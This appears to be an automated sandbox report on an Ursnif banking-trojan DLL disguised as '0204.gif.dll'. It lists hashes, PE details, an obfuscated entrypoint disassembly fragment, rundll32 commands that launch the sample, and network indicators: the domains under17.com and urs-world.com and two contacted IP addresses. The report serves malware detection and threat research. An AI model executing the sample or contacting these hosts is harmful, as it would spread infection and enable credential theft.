Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	53534
Entropy (8bit):	1.1333272870937146
Encrypted:	false
SSDEEP:	384:kBqoxKAuqR+0SYpy80q90EmobffhKfh2Dffhh1/cwt:0h8h2rh
MD5:	7C94FB342C92CEAAFA943915F29DFAE8
SHA1:	6D3F053B350A1C6B54DB781851BC7D9FA583AAF8
SHA-256:	708C1DA2EF0750491637BA747EF198BA46DFD772F3CC60D53A70571849A5D9C2
SHA-512:	59DB5FC617725A5EE422E916ED19D4C0AEAE848BCF88ACD1D9333C75FE7BCECAE8215722685D2D83E98EDAA23D8B14C483B54FA49F0224D5F6324F190850819B
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General
File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	5.609910778918113
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	0204.gif.dll
File size:	112796
MD5:	75c8d835dbb17059c37f5bbe70736e4e
SHA1:	12f7c7f15b85ef34ba3f77a364dcc480c99b6eda
SHA256:	8b130f9fbdcfc64e2ef698a1f111409c66aff2ab6ce66ae0286f8c6817376064
SHA512:	5afccf505dad49a9ecd3b3c9a9a95e831ed4a1e58e42ab157b21fd495c99e8434207a2edd4e5552307360cee051e8557a0449fe053c35569e47f02df7d5bad5c
SSDEEP:	1536:DWKaY5Se9WnVI78XvnoxJasJvRHKmyGDvDk0Rt9Y56l5ZMpvV05o9OX5xPw8:DWa0eQnVI7qCqZGDvDk4wol5w0EU
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......._W...6e..6e..6e..)v..6e...w..6e.Rich.6e.................PE..L.....f`...........!.....Z...........`.......p.....................

File Icon


Icon Hash:	74f0e4ecccdce0e4

Static PE Info

General
Entrypoint:	0x10006099
Entrypoint Section:	.code
Digitally signed:	false
Imagebase:	0x10000000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
DLL Characteristics:
Time Stamp:	0x6066E9D0 [Fri Apr 2 09:54:24 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	811de8e945c2087a6e052096546cd842

Entrypoint Preview

Instruction
push ebx
push ebx
and dword ptr [esp], 00000000h
add dword ptr [esp], ebp
mov ebp, esp
add esp, FFFFFFF8h
push esi
mov dword ptr [esp], FFFF0000h
call 00007F840093A5C0h
push ecx
add dword ptr [esp], 00000247h
sub dword ptr [esp], ecx
push ecx
mov dword ptr [esp], 00005267h
call 00007F8400936F69h
push esi
mov esi, eax
or esi, eax
mov eax, esi
pop esi
jne 00007F840093C062h
pushad
push 00000000h
mov dword ptr [esp], edi
xor edi, edi
or edi, dword ptr [ebx+0041856Bh]
mov eax, edi
pop edi
push edx
add dword ptr [esp], 40h
sub dword ptr [esp], edx
push ebx
mov dword ptr [esp], 00001000h
push edi
sub dword ptr [esp], edi
xor dword ptr [esp], eax
push 00000000h
call dword ptr [ebx+0045D014h]
mov dword ptr [ebp-04h], ecx
and ecx, 00000000h
xor ecx, eax
and edi, 00000000h
or edi, ecx
mov ecx, dword ptr [ebp-04h]
push eax
sub eax, dword ptr [esp]
or eax, edi
and dword ptr [ebx+0041809Bh], 00000000h
xor dword ptr [ebx+0041809Bh], eax
pop eax
cmp ebx, 00000000h
jbe 00007F840093C03Eh
add dword ptr [ebx+004180F7h], ebx
add dword ptr [ebx+00418633h], ebx
mov dword ptr [ebp-04h], edx
sub edx, edx
xor edx, dword ptr [ebx+004180F7h]
mov esi, edx
mov edx, dword ptr [ebp-04h]
push edi
xor edi, dword ptr [esp]
xor edi, dword ptr [ebx+0041856Bh]
and ecx, 00000000h
or ecx, edi
pop edi
cld
rep movsb
push ebx
mov dword ptr [eax+eax], 00000000h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x17000	0x51	.data
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5d050	0x64	.data
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x5d000	0x50	.data
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.code	0x1000	0x15966	0x15a00	False	0.70799087789	data	6.48337924377	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x17000	0x51	0x200	False	0.140625	data	0.863325225156	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rdata	0x18000	0x44c5f	0x1800	False	0.13330078125	data	0.926783139034	IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.data	0x5d000	0x250	0x400	False	0.2900390625	data	2.96075631554	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ

Imports

DLL	Import
user32.dll	GetActiveWindow, CheckDlgButton, CheckMenuItem, CheckRadioButton, CheckMenuRadioItem
kernel32.dll	GetProcAddress, LoadLibraryA, VirtualProtect, VirtualAlloc, lstrlenA, GetCurrentThreadId, GetCurrentProcess, GetCurrentThread, Module32FirstW
ole32.dll	OleInitialize
comctl32.dll	DPA_Sort

Exports

Name	Ordinal	Address
StartService	1	0x1000b959

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 6, 2021 09:56:46.039710999 CEST	49742	80	192.168.2.5	185.243.114.196
Apr 6, 2021 09:56:46.039738894 CEST	49741	80	192.168.2.5	185.243.114.196
Apr 6, 2021 09:56:47.050151110 CEST	49741	80	192.168.2.5	185.243.114.196
Apr 6, 2021 09:56:47.051136971 CEST	49742	80	192.168.2.5	185.243.114.196
Apr 6, 2021 09:56:47.208869934 CEST	49743	80	192.168.2.5	185.243.114.196
Apr 6, 2021 09:56:47.209781885 CEST	49744	80	192.168.2.5	185.243.114.196
Apr 6, 2021 09:56:48.223792076 CEST	49743	80	192.168.2.5	185.243.114.196
Apr 6, 2021 09:56:48.378180981 CEST	49744	80	192.168.2.5	185.243.114.196
Apr 6, 2021 09:56:49.065798998 CEST	49741	80	192.168.2.5	185.243.114.196
Apr 6, 2021 09:56:49.066380024 CEST	49742	80	192.168.2.5	185.243.114.196
Apr 6, 2021 09:56:50.237746000 CEST	49743	80	192.168.2.5	185.243.114.196
Apr 6, 2021 09:56:50.378489017 CEST	49744	80	192.168.2.5	185.243.114.196
Apr 6, 2021 09:56:53.094451904 CEST	49746	80	192.168.2.5	185.243.114.196
Apr 6, 2021 09:56:53.094507933 CEST	49747	80	192.168.2.5	185.243.114.196
Apr 6, 2021 09:56:54.081844091 CEST	49746	80	192.168.2.5	185.243.114.196
Apr 6, 2021 09:56:54.082014084 CEST	49747	80	192.168.2.5	185.243.114.196
Apr 6, 2021 09:56:54.402477026 CEST	49748	80	192.168.2.5	185.243.114.196
Apr 6, 2021 09:56:55.394422054 CEST	49748	80	192.168.2.5	185.243.114.196
Apr 6, 2021 09:56:56.081964970 CEST	49746	80	192.168.2.5	185.243.114.196
Apr 6, 2021 09:56:56.082747936 CEST	49747	80	192.168.2.5	185.243.114.196
Apr 6, 2021 09:56:57.410167933 CEST	49748	80	192.168.2.5	185.243.114.196
Apr 6, 2021 09:57:23.127945900 CEST	49752	80	192.168.2.5	185.186.244.95
Apr 6, 2021 09:57:23.128319025 CEST	49751	80	192.168.2.5	185.186.244.95
Apr 6, 2021 09:57:24.131153107 CEST	49751	80	192.168.2.5	185.186.244.95
Apr 6, 2021 09:57:24.131201029 CEST	49752	80	192.168.2.5	185.186.244.95
Apr 6, 2021 09:57:24.355110884 CEST	49753	80	192.168.2.5	185.186.244.95
Apr 6, 2021 09:57:24.356322050 CEST	49754	80	192.168.2.5	185.186.244.95
Apr 6, 2021 09:57:25.365633965 CEST	49753	80	192.168.2.5	185.186.244.95
Apr 6, 2021 09:57:25.367499113 CEST	49754	80	192.168.2.5	185.186.244.95
Apr 6, 2021 09:57:26.147221088 CEST	49751	80	192.168.2.5	185.186.244.95
Apr 6, 2021 09:57:26.147244930 CEST	49752	80	192.168.2.5	185.186.244.95
Apr 6, 2021 09:57:27.366352081 CEST	49753	80	192.168.2.5	185.186.244.95
Apr 6, 2021 09:57:27.366364002 CEST	49754	80	192.168.2.5	185.186.244.95
Apr 6, 2021 09:57:30.163558006 CEST	49755	80	192.168.2.5	185.186.244.95
Apr 6, 2021 09:57:30.163878918 CEST	49756	80	192.168.2.5	185.186.244.95
Apr 6, 2021 09:57:31.178636074 CEST	49755	80	192.168.2.5	185.186.244.95
Apr 6, 2021 09:57:31.180039883 CEST	49756	80	192.168.2.5	185.186.244.95
Apr 6, 2021 09:57:31.382344007 CEST	49757	80	192.168.2.5	185.186.244.95
Apr 6, 2021 09:57:32.381802082 CEST	49757	80	192.168.2.5	185.186.244.95
Apr 6, 2021 09:57:33.178752899 CEST	49755	80	192.168.2.5	185.186.244.95
Apr 6, 2021 09:57:33.178978920 CEST	49756	80	192.168.2.5	185.186.244.95

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 6, 2021 09:55:12.321458101 CEST	52212	53	192.168.2.5	8.8.8.8
Apr 6, 2021 09:55:12.332722902 CEST	53	52704	8.8.8.8	192.168.2.5
Apr 6, 2021 09:55:12.367438078 CEST	53	52212	8.8.8.8	192.168.2.5
Apr 6, 2021 09:55:12.444320917 CEST	54302	53	192.168.2.5	8.8.8.8
Apr 6, 2021 09:55:12.490284920 CEST	53	54302	8.8.8.8	192.168.2.5
Apr 6, 2021 09:55:12.825433969 CEST	53784	53	192.168.2.5	8.8.8.8
Apr 6, 2021 09:55:12.881592989 CEST	53	53784	8.8.8.8	192.168.2.5
Apr 6, 2021 09:55:15.647516012 CEST	65307	53	192.168.2.5	8.8.8.8
Apr 6, 2021 09:55:15.701771021 CEST	53	65307	8.8.8.8	192.168.2.5
Apr 6, 2021 09:55:39.234160900 CEST	64344	53	192.168.2.5	8.8.8.8
Apr 6, 2021 09:55:39.293535948 CEST	53	64344	8.8.8.8	192.168.2.5
Apr 6, 2021 09:55:39.665812969 CEST	62060	53	192.168.2.5	8.8.8.8
Apr 6, 2021 09:55:39.716193914 CEST	53	62060	8.8.8.8	192.168.2.5
Apr 6, 2021 09:55:41.708216906 CEST	61805	53	192.168.2.5	8.8.8.8
Apr 6, 2021 09:55:41.754092932 CEST	53	61805	8.8.8.8	192.168.2.5
Apr 6, 2021 09:55:42.584359884 CEST	54795	53	192.168.2.5	8.8.8.8
Apr 6, 2021 09:55:42.633232117 CEST	53	54795	8.8.8.8	192.168.2.5
Apr 6, 2021 09:55:49.585715055 CEST	49557	53	192.168.2.5	8.8.8.8
Apr 6, 2021 09:55:49.634418011 CEST	53	49557	8.8.8.8	192.168.2.5
Apr 6, 2021 09:55:51.808877945 CEST	61733	53	192.168.2.5	8.8.8.8
Apr 6, 2021 09:55:51.854863882 CEST	53	61733	8.8.8.8	192.168.2.5
Apr 6, 2021 09:55:52.675323009 CEST	65447	53	192.168.2.5	8.8.8.8
Apr 6, 2021 09:55:52.721487045 CEST	53	65447	8.8.8.8	192.168.2.5
Apr 6, 2021 09:55:53.527688026 CEST	52441	53	192.168.2.5	8.8.8.8
Apr 6, 2021 09:55:53.573759079 CEST	53	52441	8.8.8.8	192.168.2.5
Apr 6, 2021 09:55:57.473318100 CEST	62176	53	192.168.2.5	8.8.8.8
Apr 6, 2021 09:55:57.531478882 CEST	53	62176	8.8.8.8	192.168.2.5
Apr 6, 2021 09:55:58.623642921 CEST	59596	53	192.168.2.5	8.8.8.8
Apr 6, 2021 09:55:58.672686100 CEST	53	59596	8.8.8.8	192.168.2.5
Apr 6, 2021 09:55:59.530352116 CEST	65296	53	192.168.2.5	8.8.8.8
Apr 6, 2021 09:55:59.577027082 CEST	53	65296	8.8.8.8	192.168.2.5
Apr 6, 2021 09:55:59.891972065 CEST	63183	53	192.168.2.5	8.8.8.8
Apr 6, 2021 09:55:59.962860107 CEST	53	63183	8.8.8.8	192.168.2.5
Apr 6, 2021 09:56:00.110093117 CEST	60151	53	192.168.2.5	8.8.8.8
Apr 6, 2021 09:56:00.157924891 CEST	53	60151	8.8.8.8	192.168.2.5
Apr 6, 2021 09:56:00.813059092 CEST	56969	53	192.168.2.5	8.8.8.8
Apr 6, 2021 09:56:00.861538887 CEST	53	56969	8.8.8.8	192.168.2.5
Apr 6, 2021 09:56:01.153757095 CEST	55161	53	192.168.2.5	8.8.8.8
Apr 6, 2021 09:56:01.200303078 CEST	54757	53	192.168.2.5	8.8.8.8
Apr 6, 2021 09:56:01.206017017 CEST	53	55161	8.8.8.8	192.168.2.5
Apr 6, 2021 09:56:01.258028030 CEST	53	54757	8.8.8.8	192.168.2.5
Apr 6, 2021 09:56:01.302402020 CEST	49992	53	192.168.2.5	8.8.8.8
Apr 6, 2021 09:56:01.373768091 CEST	53	49992	8.8.8.8	192.168.2.5
Apr 6, 2021 09:56:01.824034929 CEST	60075	53	192.168.2.5	8.8.8.8
Apr 6, 2021 09:56:01.869940996 CEST	53	60075	8.8.8.8	192.168.2.5
Apr 6, 2021 09:56:01.899358988 CEST	55016	53	192.168.2.5	8.8.8.8
Apr 6, 2021 09:56:01.946440935 CEST	64345	53	192.168.2.5	8.8.8.8
Apr 6, 2021 09:56:01.946448088 CEST	53	55016	8.8.8.8	192.168.2.5
Apr 6, 2021 09:56:01.995270014 CEST	53	64345	8.8.8.8	192.168.2.5
Apr 6, 2021 09:56:02.913166046 CEST	57128	53	192.168.2.5	8.8.8.8
Apr 6, 2021 09:56:02.958863974 CEST	53	57128	8.8.8.8	192.168.2.5
Apr 6, 2021 09:56:03.081171036 CEST	54791	53	192.168.2.5	8.8.8.8
Apr 6, 2021 09:56:03.129930019 CEST	53	54791	8.8.8.8	192.168.2.5
Apr 6, 2021 09:56:06.190893888 CEST	50463	53	192.168.2.5	8.8.8.8
Apr 6, 2021 09:56:06.245198011 CEST	53	50463	8.8.8.8	192.168.2.5
Apr 6, 2021 09:56:06.705409050 CEST	50394	53	192.168.2.5	8.8.8.8
Apr 6, 2021 09:56:06.759615898 CEST	53	50394	8.8.8.8	192.168.2.5
Apr 6, 2021 09:56:07.973144054 CEST	58530	53	192.168.2.5	8.8.8.8
Apr 6, 2021 09:56:08.045044899 CEST	53813	53	192.168.2.5	8.8.8.8
Apr 6, 2021 09:56:08.056432962 CEST	53	58530	8.8.8.8	192.168.2.5
Apr 6, 2021 09:56:08.099992037 CEST	53	53813	8.8.8.8	192.168.2.5
Apr 6, 2021 09:56:26.152525902 CEST	63732	53	192.168.2.5	8.8.8.8
Apr 6, 2021 09:56:26.199120998 CEST	53	63732	8.8.8.8	192.168.2.5
Apr 6, 2021 09:56:27.142621994 CEST	63732	53	192.168.2.5	8.8.8.8
Apr 6, 2021 09:56:27.189728022 CEST	53	63732	8.8.8.8	192.168.2.5
Apr 6, 2021 09:56:27.371381998 CEST	57344	53	192.168.2.5	8.8.8.8
Apr 6, 2021 09:56:27.422842026 CEST	53	57344	8.8.8.8	192.168.2.5
Apr 6, 2021 09:56:28.158164024 CEST	63732	53	192.168.2.5	8.8.8.8
Apr 6, 2021 09:56:28.204546928 CEST	53	63732	8.8.8.8	192.168.2.5
Apr 6, 2021 09:56:30.175906897 CEST	63732	53	192.168.2.5	8.8.8.8
Apr 6, 2021 09:56:30.221748114 CEST	53	63732	8.8.8.8	192.168.2.5
Apr 6, 2021 09:56:32.070358992 CEST	54450	53	192.168.2.5	8.8.8.8
Apr 6, 2021 09:56:32.129595041 CEST	53	54450	8.8.8.8	192.168.2.5
Apr 6, 2021 09:56:34.190895081 CEST	63732	53	192.168.2.5	8.8.8.8
Apr 6, 2021 09:56:34.236850023 CEST	53	63732	8.8.8.8	192.168.2.5
Apr 6, 2021 09:56:44.671691895 CEST	59261	53	192.168.2.5	8.8.8.8
Apr 6, 2021 09:56:44.727936983 CEST	53	59261	8.8.8.8	192.168.2.5
Apr 6, 2021 09:56:45.961915970 CEST	57151	53	192.168.2.5	8.8.8.8
Apr 6, 2021 09:56:46.016486883 CEST	53	57151	8.8.8.8	192.168.2.5
Apr 6, 2021 09:56:47.151609898 CEST	59413	53	192.168.2.5	8.8.8.8
Apr 6, 2021 09:56:47.200351954 CEST	53	59413	8.8.8.8	192.168.2.5
Apr 6, 2021 09:56:52.340157032 CEST	60516	53	192.168.2.5	8.8.8.8
Apr 6, 2021 09:56:52.405512094 CEST	53	60516	8.8.8.8	192.168.2.5
Apr 6, 2021 09:57:00.114474058 CEST	51649	53	192.168.2.5	8.8.8.8
Apr 6, 2021 09:57:00.168636084 CEST	53	51649	8.8.8.8	192.168.2.5
Apr 6, 2021 09:57:01.418694019 CEST	65086	53	192.168.2.5	8.8.8.8
Apr 6, 2021 09:57:01.472898960 CEST	53	65086	8.8.8.8	192.168.2.5
Apr 6, 2021 09:57:03.284967899 CEST	56432	53	192.168.2.5	8.8.8.8
Apr 6, 2021 09:57:03.331330061 CEST	53	56432	8.8.8.8	192.168.2.5
Apr 6, 2021 09:57:05.699322939 CEST	52929	53	192.168.2.5	8.8.8.8
Apr 6, 2021 09:57:05.759550095 CEST	53	52929	8.8.8.8	192.168.2.5
Apr 6, 2021 09:57:21.815330029 CEST	64317	53	192.168.2.5	8.8.8.8
Apr 6, 2021 09:57:21.875345945 CEST	53	64317	8.8.8.8	192.168.2.5
Apr 6, 2021 09:57:23.050957918 CEST	61004	53	192.168.2.5	8.8.8.8
Apr 6, 2021 09:57:23.108716011 CEST	53	61004	8.8.8.8	192.168.2.5
Apr 6, 2021 09:57:24.288322926 CEST	56895	53	192.168.2.5	8.8.8.8
Apr 6, 2021 09:57:24.344851971 CEST	53	56895	8.8.8.8	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Apr 6, 2021 09:56:01.200303078 CEST	192.168.2.5	8.8.8.8	0x52c9	Standard query (0)	login.microsoftonline.com	A (IP address)	IN (0x0001)
Apr 6, 2021 09:56:01.899358988 CEST	192.168.2.5	8.8.8.8	0x662e	Standard query (0)	login.microsoftonline.com	A (IP address)	IN (0x0001)
Apr 6, 2021 09:56:45.961915970 CEST	192.168.2.5	8.8.8.8	0x3557	Standard query (0)	under17.com	A (IP address)	IN (0x0001)
Apr 6, 2021 09:56:47.151609898 CEST	192.168.2.5	8.8.8.8	0x23a6	Standard query (0)	under17.com	A (IP address)	IN (0x0001)
Apr 6, 2021 09:57:00.114474058 CEST	192.168.2.5	8.8.8.8	0xedfc	Standard query (0)	under17.com	A (IP address)	IN (0x0001)
Apr 6, 2021 09:57:01.418694019 CEST	192.168.2.5	8.8.8.8	0x39b2	Standard query (0)	under17.com	A (IP address)	IN (0x0001)
Apr 6, 2021 09:57:23.050957918 CEST	192.168.2.5	8.8.8.8	0x6d1	Standard query (0)	urs-world.com	A (IP address)	IN (0x0001)
Apr 6, 2021 09:57:24.288322926 CEST	192.168.2.5	8.8.8.8	0x8e59	Standard query (0)	urs-world.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Apr 6, 2021 09:56:01.258028030 CEST	8.8.8.8	192.168.2.5	0x52c9	No error (0)	login.microsoftonline.com	a.privatelink.msidentity.com		CNAME (Canonical name)	IN (0x0001)
Apr 6, 2021 09:56:01.258028030 CEST	8.8.8.8	192.168.2.5	0x52c9	No error (0)	a.privatelink.msidentity.com	prda.aadg.msidentity.com		CNAME (Canonical name)	IN (0x0001)
Apr 6, 2021 09:56:01.258028030 CEST	8.8.8.8	192.168.2.5	0x52c9	No error (0)	prda.aadg.msidentity.com	www.tm.a.prd.aadg.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)
Apr 6, 2021 09:56:01.373768091 CEST	8.8.8.8	192.168.2.5	0x5c4	No error (0)	prda.aadg.msidentity.com	www.tm.a.prd.aadg.akadns.net		CNAME (Canonical name)	IN (0x0001)
Apr 6, 2021 09:56:01.946448088 CEST	8.8.8.8	192.168.2.5	0x662e	No error (0)	login.microsoftonline.com	a.privatelink.msidentity.com		CNAME (Canonical name)	IN (0x0001)
Apr 6, 2021 09:56:01.946448088 CEST	8.8.8.8	192.168.2.5	0x662e	No error (0)	a.privatelink.msidentity.com	prda.aadg.msidentity.com		CNAME (Canonical name)	IN (0x0001)
Apr 6, 2021 09:56:01.946448088 CEST	8.8.8.8	192.168.2.5	0x662e	No error (0)	prda.aadg.msidentity.com	www.tm.a.prd.aadg.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)
Apr 6, 2021 09:56:01.995270014 CEST	8.8.8.8	192.168.2.5	0xfa81	No error (0)	prda.aadg.msidentity.com	www.tm.a.prd.aadg.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)
Apr 6, 2021 09:56:46.016486883 CEST	8.8.8.8	192.168.2.5	0x3557	No error (0)	under17.com		185.243.114.196	A (IP address)	IN (0x0001)
Apr 6, 2021 09:56:47.200351954 CEST	8.8.8.8	192.168.2.5	0x23a6	No error (0)	under17.com		185.243.114.196	A (IP address)	IN (0x0001)
Apr 6, 2021 09:57:00.168636084 CEST	8.8.8.8	192.168.2.5	0xedfc	No error (0)	under17.com		185.243.114.196	A (IP address)	IN (0x0001)
Apr 6, 2021 09:57:01.472898960 CEST	8.8.8.8	192.168.2.5	0x39b2	No error (0)	under17.com		185.243.114.196	A (IP address)	IN (0x0001)
Apr 6, 2021 09:57:23.108716011 CEST	8.8.8.8	192.168.2.5	0x6d1	No error (0)	urs-world.com		185.186.244.95	A (IP address)	IN (0x0001)
Apr 6, 2021 09:57:24.344851971 CEST	8.8.8.8	192.168.2.5	0x8e59	No error (0)	urs-world.com		185.186.244.95	A (IP address)	IN (0x0001)

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: loaddll32.exe PID: 6356 Parent PID: 5588

General

Start time:	09:55:20
Start date:	06/04/2021
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe 'C:\Users\user\Desktop\0204.gif.dll'
Imagebase:	0x10d0000
File size:	116736 bytes
MD5 hash:	542795ADF7CC08EFCF675D65310596E8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.442401635.0000000003B4D000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.362707401.0000000003C4B000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.362777814.0000000003C4B000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000000.00000002.498490060.0000000001580000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.362687587.0000000003C4B000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000002.499756612.0000000003A4F000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.362750136.0000000003C4B000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.362737439.0000000003C4B000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.362723633.0000000003C4B000.00000004.00000040.sdmp, Author: Joe Security
Reputation:	moderate

Chronological Activities

Analysis Process: cmd.exe PID: 6364 Parent PID: 6356

General

Start time:	09:55:20
Start date:	06/04/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\0204.gif.dll',#1
Imagebase:	0x150000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 6376 Parent PID: 6356

General

Start time:	09:55:21
Start date:	06/04/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\0204.gif.dll,StartService
Imagebase:	0x2c0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000002.00000002.260461688.0000000002BE0000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 6388 Parent PID: 6364

General

Start time:	09:55:21
Start date:	06/04/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe 'C:\Users\user\Desktop\0204.gif.dll',#1
Imagebase:	0x2c0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000002.500504435.000000000562F000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.363000651.000000000582B000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000003.00000002.499116859.0000000003490000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.445053203.000000000572D000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.363042900.000000000582B000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.363073558.000000000582B000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.362981300.000000000582B000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.363016213.000000000582B000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.363030214.000000000582B000.00000004.00000040.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 5920 Parent PID: 792

General

Start time:	09:55:54
Start date:	06/04/2021
Path:	C:\Program Files\internet explorer\iexplore.exe
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Imagebase:	0x7ff674450000
File size:	823560 bytes
MD5 hash:	6465CB92B25A7BC1DF8E01D8AC5E7596
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 6660 Parent PID: 5920

General

Start time:	09:55:57
Start date:	06/04/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5920 CREDAT:17410 /prefetch:2
Imagebase:	0x10d0000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 3440 Parent PID: 5920

General

Start time:	09:55:58
Start date:	06/04/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5920 CREDAT:17414 /prefetch:2
